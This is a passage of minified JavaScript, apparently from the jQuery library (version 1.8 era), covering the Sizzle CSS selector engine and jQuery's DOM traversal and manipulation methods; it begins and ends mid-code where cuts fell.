i.filter)(r=J[o].exec(u))&&(!f[o]||(r=f[o](r)))&&(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r&&t.dir==="parentNode",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+" "+o+" ",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a=="string"&&a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=t!=null;for(;u<a;u++)if(s=e[u])if(!n||n(s,r,i))o.push(s),f&&t.push(u);return o}function ct(e,t,n,r,i,s){return r&&!r[d]&&(r=ct(r)),i&&!i[d]&&(i=ct(i,s)),N(function(s,o,u,a){var f,l,c,h=[],p=[],d=o.length,v=s||dt(t||"*",u.nodeType?[u]:u,[]),m=e&&(s||!t)?lt(v,h,e,u,a):v,g=n?i||(s?e:d||r)?[]:o:m;n&&n(m,g,u,a);if(r){f=lt(g,p),r(f,[],u,a),l=f.length;while(l--)if(c=f[l])g[p[l]]=!(m[p[l]]=c)}if(s){if(i||e){if(i){f=[],l=g.length;while(l--)(c=g[l])&&f.push(m[l]=c);i(null,g=[],f,a)}l=g.length;while(l--)(c=g[l])&&(f=i?T.call(s,c):h[l])>-1&&(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[" "],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return T.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a<s;a++)if(n=i.relative[e[a].type])h=[at(ft(h),n)];else{n=i.filter[e[a].type].apply(null,e[a].matches);if(n[d]){r=++a;for(;r<s;r++)if(i.relative[e[r].type])break;return ct(a>1&&ft(h),a>1&&e.slice(0,a-1).join("").replace(j,"$1"),n,a<r&&ht(e.slice(a,r)),r<s&&ht(e=e.slice(r)),r<s&&e.join(""))}h.push(n)}return ft(h)}function pt(e,t){var r=t.length>0,s=e.length>0,o=function(u,a,f,l,h){var p,d,v,m=[],y=0,w="0",x=u&&[],T=h!=null,N=c,C=u||s&&i.find.TAG("*",h&&a.parentNode||a),k=b+=N==null?1:Math.E;T&&(c=a!==g&&a,n=o.el);for(;(p=C[w])!=null;w++){if(s&&p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T&&(b=k,n=++o.el)}r&&((p=!v&&p)&&y--,u&&x.push(p))}y+=w;if(r&&w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y>0)while(w--)!x[w]&&!m[w]&&(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T&&!u&&m.length>0&&y+t.length>1&&nt.uniqueSort(l)}return T&&(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r<i;r++)nt(e,t[r],n);return n}function vt(e,t,n,r,s){var o,u,f,l,c,h=ut(e),p=h.length;if(!r&&h.length===1){u=h[0]=h[0].slice(0);if(u.length>2&&(f=u[0]).type==="ID"&&t.nodeType===9&&!s&&i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,""),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o>=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,""),z.test(u[0].type)&&t.parentNode||t,s)){u.splice(o,1),e=r.length&&u.join("");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p="undefined",d=("sizcache"+Math.random()).replace(".",""),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;t<n;t++)if(this[t]===e)return t;return-1},N=function(e,t){return e[d]=t==null||t,e},C=function(){var e={},t=[];return N(function(n,r){return t.push(n)>i.cacheLength&&delete e[t.shift()],e[n+" "]=r},e)},k=C(),L=C(),A=C(),O="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",_=M.replace("w","w#"),D="([*^$|!~]?=)",P="\\["+O+"*("+M+")"+O+"*(?:"+D+O+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+_+")|)|)"+O+"*\\]",H=":("+M+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+P+")|[^:]|\\\\.)*|.*))\\)|)",B=":(even|odd|eq|gt|lt|nth|first|last)(?:\\("+O+"*((?:-\\d)?\\d*)"+O+"*\\)|)(?=[^-]|$)",j=new RegExp("^"+O+"+|((?:^|[^\\\\])(?:\\\\.)*)"+O+"+$","g"),F=new RegExp("^"+O+"*,"+O+"*"),I=new RegExp("^"+O+"*([\\x20\\t\\r\\n\\f>+~])"+O+"*"),q=new RegExp(H),R=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,U=/^:not/,z=/[\x20\t\r\n\f]*[+~]/,W=/:not\($/,X=/h\d/i,V=/input|select|textarea|button/i,$=/\\(?!\\)/g,J={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),NAME:new RegExp("^\\[name=['\"]?("+M+")['\"]?\\]"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+H),POS:new RegExp(B,"i"),CHILD:new RegExp("^:(only|nth|first|last)-child(?:\\("+O+"*(even|odd|(([+-]|)(\\d*)n|)"+O+"*(?:([+-]|)"+O+"*(\\d+)|))"+O+"*\\)|)","i"),needsContext:new RegExp("^"+O+"*[>+~]|"+B,"i")},K=function(e){var t=g.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment("")),!e.getElementsByTagName("*").length}),G=K(function(e){return e.innerHTML="<a href='#'></a>",e.firstChild&&typeof e.firstChild.getAttribute!==p&&e.firstChild.getAttribute("href")==="#"}),Y=K(function(e){e.innerHTML="<select></select>";var t=typeof e.lastChild.getAttribute("multiple");return t!=="boolean"&&t!=="string"}),Z=K(function(e){return e.innerHTML="<div class='hidden e'></div><div class='hidden'></div>",!e.getElementsByClassName||!e.getElementsByClassName("e").length?!1:(e.lastChild.className="e",e.getElementsByClassName("e").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML="<a name='"+d+"'></a><div name='"+d+"'></div>",y.insertBefore(e,y.firstChild);var t=g.getElementsByName&&g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length>0},s=nt.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent=="string")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?t.nodeName!=="HTML":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t&&t.parentNode;return e===r||!!(r&&r.nodeType===1&&n.contains&&n.contains(r))}:y.compareDocumentPosition?function(e,t){return t&&!!(e.compareDocumentPosition(t)&16)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]=="boolean"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p&&!n){var r=t.getElementById(e);return r&&r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p&&!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p&&i.getAttributeNode("id").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e==="*"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1&&i.push(r);return i}return n},NAME:et&&function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z&&function(e,t,n){if(typeof t.getElementsByClassName!==p&&!n)return t.getElementsByClassName(e)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,""),e[3]=(e[4]||e[5]||"").replace($,""),e[2]==="~="&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]==="nth"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]==="even"||e[2]==="odd")),e[4]=+(e[6]+e[7]||e[2]==="odd")):e[2]&&nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)&&(n=ut(t,!0))&&(n=t.indexOf(")",t.length-n)-t.length)&&(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,""),function(t){return t.getAttribute("id")===e}}:function(e){return e=e.replace($,""),function(t){var n=typeof t.getAttributeNode!==p&&t.getAttributeNode("id");return n&&n.value===e}},TAG:function(e){return e==="*"?function(){return!0}:(e=e.replace($,"").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+" "];return t||(t=new RegExp("(^|"+O+")"+e+"("+O+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t==="!=":t?(s+="",t==="="?s===n:t==="!="?s!==n:t==="^="?n&&s.indexOf(n)===0:t==="*="?n&&s.indexOf(n)>-1:t==="$="?n&&s.substr(s.length-n.length)===n:t==="~="?(" "+s+" ").indexOf(n)>-1:t==="|="?s===n||s.substr(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r){return e==="nth"?function(e){var t,i,s=e.parentNode;if(n===1&&r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0&&i/n>=0}:function(t){var n=t;switch(e){case"only":case"first":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e==="first")return!0;n=t;case"last":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error("unsupported pseudo: "+e);return r[d]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,"$1"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length>0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)>-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&!!e.checked||t==="option"&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName>"@"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()==="input"&&(t=e.type)==="text"&&((n=e.getAttribute("type"))==null||n.toLowerCase()===t)},radio:rt("radio"),checkbox:rt("checkbox"),file:rt("file"),password:rt("password"),image:rt("image"),submit:it("submit"),reset:it("reset"),button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&e.type==="button"||t==="button"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n<0?n+t:n]}),even:st(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:st(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:st(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}},f=y.compareDocumentPosition?function(e,t){return e===t?(l=!0,0):(!e.compareDocumentPosition||!t.compareDocumentPosition?e.compareDocumentPosition:e.compareDocumentPosition(t)&4)?-1:1}:function(e,t){if(e===t)return l=!0,0;if(e.sourceIndex&&t.sourceIndex)return e.sourceIndex-t.sourceIndex;var n,r,i=[],s=[],o=e.parentNode,u=t.parentNode,a=o;if(o===u)return ot(e,t);if(!o)return-1;if(!u)return 1;while(a)i.unshift(a),a=a.parentNode;a=u;while(a)s.unshift(a),a=a.parentNode;n=i.length,r=s.length;for(var f=0;f<n&&f<r;f++)if(i[f]!==s[f])return ot(i[f],s[f]);return f===n?ot(e,s[f],-1):ot(i[f],t,1)},[0,0].sort(f),h=!l,nt.uniqueSort=function(e){var t,n=[],r=1,i=0;l=h,e.sort(f);if(l){for(;t=e[r];r++)t===e[r-1]&&(i=n.push(r));while(i--)e.splice(n[i],1)}return e},nt.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},a=nt.compile=function(e,t){var n,r=[],i=[],s=A[d][e+" "];if(!s){t||(t=ut(e)),n=t.length;while(n--)s=ht(t[n]),s[d]?r.push(s):i.push(s);s=A(e,pt(i,r))}return s},g.querySelectorAll&&function(){var e,t=vt,n=/'|\\/g,r=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,i=[":focus"],s=[":active"],u=y.matchesSelector||y.mozMatchesSelector||y.webkitMatchesSelector||y.oMatchesSelector||y.msMatchesSelector;K(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||i.push("\\["+O+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||i.push(":checked")}),K(function(e){e.innerHTML="<p test=''></p>",e.querySelectorAll("[test^='']").length&&i.push("[*^$]="+O+"*(?:\"\"|'')"),e.innerHTML="<input type='hidden'/>",e.querySelectorAll(":enabled").length||i.push(":enabled",":disabled")}),i=new RegExp(i.join("|")),vt=function(e,r,s,o,u){if(!o&&!u&&!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9&&e;if(r.nodeType===1&&r.nodeName.toLowerCase()!=="object"){a=ut(e),(l=r.getAttribute("id"))?c=l.replace(n,"\\$&"):r.setAttribute("id",c),c="[id='"+c+"'] ",f=a.length;while(f--)a[f]=c+a[f].join("");h=z.test(e)&&r.parentNode||r,p=a.join(",")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute("id")}}return t(e,r,s,o,u)},u&&(K(function(t){e=u.call(t,"div");try{u.call(t,"[test!='']:sizzle"),s.push("!=",H)}catch(n){}}),s=new RegExp(s.join("|")),nt.matchesSelector=function(t,n){n=n.replace(r,"='$1']");if(!o(t)&&!s.test(n)&&!i.test(n))try{var a=u.call(t,n);if(a||e||t.document&&t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length>0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[":"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\[\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!="string")return v(e).filter(function(){for(t=0,n=u.length;t<n;t++)if(v.contains(u[t],this))return!0});o=this.pushStack("","find",e);for(t=0,n=this.length;t<n;t++){r=o.length,v.find(e,this[t],o);if(t>0)for(i=r;i<o.length;i++)for(s=0;s<r;s++)if(o[s]===o[i]){o.splice(i--,1);break}}return o},has:function(e){var t,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:function(e){return!!e&&(typeof e=="string"?st.test(e)?v(e,this.context).index(this[0])>=0:v.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!="string"?v(e,t||this.context):0;for(;r<i;r++){n=this[r];while(n&&n.ownerDocument&&n!==t&&n.nodeType!==11){if(o?o.index(n)>-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length>1?v.unique(s):s,this.pushStack(s,"closest",e)},index:function(e){return e?typeof e=="string"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?v(e,t):v.makeArray(e&&e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return v.dir(e,"parentNode")},parentsUntil:function(e,t,n){return v.dir(e,"parentNode",n)},next:function(e){return at(e,"nextSibling")},prev:function(e){return at(e,"previousSibling")},nextAll:function(e){return v.dir(e,"nextSibling")},prevAll:function(e){return v.dir(e,"previousSibling")},nextUntil:function(e,t,n){return v.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return v.dir(e,"previousSibling",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r&&typeof r=="string"&&(i=v.filter(r,i)),i=this.length>1&&!ot[e]?v.unique(i):i,this.length>1&&rt.test(e)&&(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(","))}}),v.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s&&s.nodeType!==9&&(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var ct="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",ht=/ jQuery\d+="(?:null|\d+)"/g,pt=/^\s+/,dt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,vt=/<([\w:]+)/,mt=/<tbody/i,gt=/<|&#?\w+;/,yt=/<(?:script|style|link)/i,bt=/<(?:script|object|embed|option|style)/i,wt=new RegExp("<(?:"+ct+")[\\s/>]","i"),Et=/^(?:checkbox|radio)$/,St=/checked\s*(?:[^=]|=\s*.checked.)/i,xt=/\/(java|ecma)script/i,Tt=/^\s*<!(?:\[CDATA\[|\-\-)|[\]\-]{2}>\s*$/g,Nt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},Ct=lt(i),kt=Ct.appendChild(i.createElement("div"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,"X<div>","</div>"]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]&&this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,"body")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),"before",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),"after",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t&&n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),v.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1&&v.cleanData(e.getElementsByTagName("*"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,""):t;if(typeof e=="string"&&!yt.test(e)&&(v.support.htmlSerialize||!wt.test(e))&&(v.support.leadingWhitespace||!pt.test(e))&&!Nt[(vt.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(dt,"<$1></$2>");try{for(;r<i;r++)n=this[r]||{},n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),n.innerHTML=e);n=0}catch(s){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){return ut(this[0])?this.length?this.pushStack(v(v.isFunction(e)?e():e),"replaceWith",e):this:v.isFunction(e)?this.each(function(t){var n=v(this),r=n.html();n.replaceWith(e.call(this,t,r))}):(typeof e!="string"&&(e=v(e).detach()),this.each(function(){var t=this.nextSibling,n=this.parentNode;v(this).remove(),t?v(t).before(e):v(n).append(e)}))},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=[].concat.apply([],e);var i,s,o,u,a=0,f=e[0],l=[],c=this.length;if(!v.support.checkClone&&c>1&&typeof f=="string"&&St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1&&(o=s);if(s){n=n&&v.nodeName(s,"tr");for(u=i.cacheable||c-1;a<c;a++)r.call(n&&v.nodeName(this[a],"table")?Lt(this[a],"tbody"):this[a],a===u?o:v.clone(o,!0,!0))}o=s=null,l.length&&v.each(l,function(e,t){t.src?v.ajax?v.ajax({url:t.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):v.error("no ajax"):v.globalEval((t.text||t.textContent||t.innerHTML||"").replace(Tt,"")),t.parentNode&&t.parentNode.removeChild(t)})}return this}}),v.buildFragment=function(e,n,r){var s,o,u,a=e[0];return n=n||i,n=!n.nodeType&&n[0]||n,n=n.ownerDocument||n,e.length===1&&typeof a=="string"&&a.length<512&&n===i&&a.charAt(0)==="<"&&!bt.test(a)&&(v.support.checkClone||!St.test(a))&&(v.support.html5Clone||!wt.test(a))&&(o=!0,s=v.fragments[a],u=s!==t),s||(s=n.createDocumentFragment(),v.clean(e,n,s,r),o&&(v.fragments[a]=u&&s)),{fragment:s,cacheable:o}},v.fragments={},v.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){v.fn[e]=function(n){var r,i=0,s=[],o=v(n),u=o.length,a=this.length===1&&this[0].parentNode;if((a==null||a&&a.nodeType===11&&a.childNodes.length===1)&&u===1)return o[t](this[0]),this;for(;i<u;i++)r=(i>0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]&&Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i&&Ct,b=[];if(!t||typeof t.createDocumentFragment=="undefined")t=i;for(s=0;(u=e[s])!=null;s++){typeof u=="number"&&(u+="");if(!u)continue;if(typeof u=="string")if(!gt.test(u))u=t.createTextNode(u);else{y=y||lt(t),c=t.createElement("div"),y.appendChild(c),u=u.replace(dt,"<$1></$2>"),a=(vt.exec(u)||["",""])[1].toLowerCase(),f=Nt[a]||Nt._default,l=f[0],c.innerHTML=f[1]+u+f[2];while(l--)c=c.lastChild;if(!v.support.tbody){h=mt.test(u),p=a==="table"&&!h?c.firstChild&&c.firstChild.childNodes:f[1]==="<table>"&&!h?c.childNodes:[];for(o=p.length-1;o>=0;--o)v.nodeName(p[o],"tbody")&&!p[o].childNodes.length&&p[o].parentNode.removeChild(p[o])}!v.support.leadingWhitespace&&pt.test(u)&&c.insertBefore(t.createTextNode(pt.exec(u)[0]),c.firstChild),u=c.childNodes,c.parentNode.removeChild(c)}u.nodeType?b.push(u):v.merge(b,u)}c&&(u=c=y=null);if(!v.support.appendChecked)for(s=0;(u=b[s])!=null;s++)v.nodeName(u,"input")?_t(u):typeof u.getElementsByTagName!="undefined"&&v.grep(u.getElementsByTagName("input"),_t);if(n){m=function(e){if(!e.type||xt.test(e.type))return r?r.push(e.parentNode?e.parentNode.removeChild(e):e):n.appendChild(e)};for(s=0;(u=b[s])!=null;s++)if(!v.nodeName(u,"script")||!m(u))n.appendChild(u),typeof u.getElementsByTagName!="undefined"&&(g=v.grep(v.merge([],u.getElementsByTagName("script")),m),b.splice.apply(b,[s+1,0].concat(g)),s+=g.length)}return b},cleanData:function(e,t){var n,r,i,s,o=0,u=v.expando,a=v.cache,f=v.support.deleteExpando,l=v.event.special;for(;(i=e[o])!=null;o++)if(t||v.acceptData(i)){r=i[u],n=r&&a[r];if(n){if(n.events)for(s in n.events)l[s]?v.event.remove(i,s):v.removeEvent(i,s,n.handle);a[r]&&(delete a[r],f?delete i[u]:i.removeAttribute?i.removeAttribute(u):i[u]=null,v.deletedIds.push(r))}}}}),function(){var e,t;v.uaMatch=function(e){e=e.toLowerCase();var t=/(chrome)[ \/]([\w.]+)/.exec(e)||/(webkit)[ 